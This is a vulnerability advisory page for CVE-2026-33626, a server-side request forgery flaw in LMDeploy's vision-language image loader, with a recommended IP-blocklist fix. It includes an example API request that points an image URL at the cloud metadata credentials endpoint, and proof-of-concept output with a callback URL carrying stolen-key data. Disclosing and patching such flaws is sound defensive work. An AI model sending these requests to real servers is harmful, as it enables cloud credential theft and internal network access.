CVE-2026-33626: LMDeploy Vulnerable to Server-Side Request Forgery (SSRF) via Vision-Language Image Loading

Published Apr 20, 2026
·
Updated

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The loadimage() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

- Tested on: main branch (2026-02-04) - Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67) python def loadimage(imageurl: Union[str, Image.Image]) -> Image.Image: # ... if imageurl.startswith('http'): response = requests.get(imageurl, headers=headers, timeout=FETCHTIMEOUT) # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encodeimagebase64() function (lines 26-29)

Root Cause

1. No validation of URLs before fetching 2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x) 3. Server binds to 0.0.0.0 by default (apiserver.py line 1393) 4. API keys disabled by default

Attack Scenario

1. LMDeploy server deployed with vision-language model 2. Attacker sends request to /v1/chat/completions with malicious imageurl: python POST /v1/chat/completions { "model": "internlm-xcomposer2", "messages": [{ "role": "user", "content": [ {"type": "text", "text": "Describe this image"}, {"type": "imageurl", "imageurl": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}} ] }] }

3. Server fetches URL without validation 4. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result ╔═══════════════════════════════════════════════════════════════════════╗ ║ LMDeploy SSRF Vulnerability - Proof of Concept ║ ╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889... [2] Attacker URL: http://127.0.0.1:8889/SSRFPROOF?stolendata=AWSSECRETKEY [3] Calling vulnerable loadimage() function...

====================================================================== [+] SSRF CALLBACK RECEIVED! ====================================================================== Time: 2026-02-04 16:10:57 Path: /SSRFPROOF?stolendata=AWSSECRETKEY Client: 127.0.0.1:51154 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)... ======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

- Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs - Internal Service Access: Reach services not exposed to internet - Information Disclosure: Port scan internal networks - Lateral Movement: Pivot point for further attacks

Recommended Fix python from urllib.parse import urlparse import ipaddress import socket

BLOCKEDNETWORKS = [ ipaddress.ipnetwork('127.0.0.0/8'), ipaddress.ipnetwork('10.0.0.0/8'), ipaddress.ipnetwork('172.16.0.0/12'), ipaddress.ipnetwork('192.168.0.0/16'), ipaddress.ipnetwork('169.254.0.0/16'), ]

def issafeurl(url: str) -> bool: try: parsed = urlparse(url) if parsed.scheme not in ('http', 'https'): return False ip = socket.gethostbyname(parsed.hostname) ipaddr = ipaddress.ipaddress(ip) return not any(ipaddr in network for network in BLOCKEDNETWORKS) except: return False

---

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky Organization: Orca Security Emails: igor.stepansky@orca.security iggy.p0pi@orca.security

Other sources

LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in LMDeploy's vision-language module. The loadimage() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources. Version 0.12.3 patches the issue.

MITRE

Affected Software

3 affected components
pypi/lmdeploy<0.12.3
pip/lmdeploy<=0.12.2
InternLM LMDeploy<0.12.3

Event History

Apr 20, 2026
CVE Published
via MITRE·08:29 PM
Data Sourced
via MITRE·08:29 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Apr 21, 2026
Advisory Published
via GitHub·03:04 PM
Data Sourced
via GitHub·03:04 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-33626?

CVE-2026-33626 is classified as a significant security vulnerability due to its Server-Side Request Forgery (SSRF) impact.

2

How do I fix CVE-2026-33626?

To fix CVE-2026-33626, upgrade LMDeploy to version 0.12.3 or later.

3

What types of attacks are possible with CVE-2026-33626?

CVE-2026-33626 can be exploited to conduct Server-Side Request Forgery attacks, potentially allowing access to internal resources.

4

Which versions of LMDeploy are affected by CVE-2026-33626?

CVE-2026-33626 affects all LMDeploy versions prior to 0.12.3.

5

What component of LMDeploy is vulnerable in CVE-2026-33626?

The vision-language module of LMDeploy is the component that contains the vulnerability in CVE-2026-33626.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203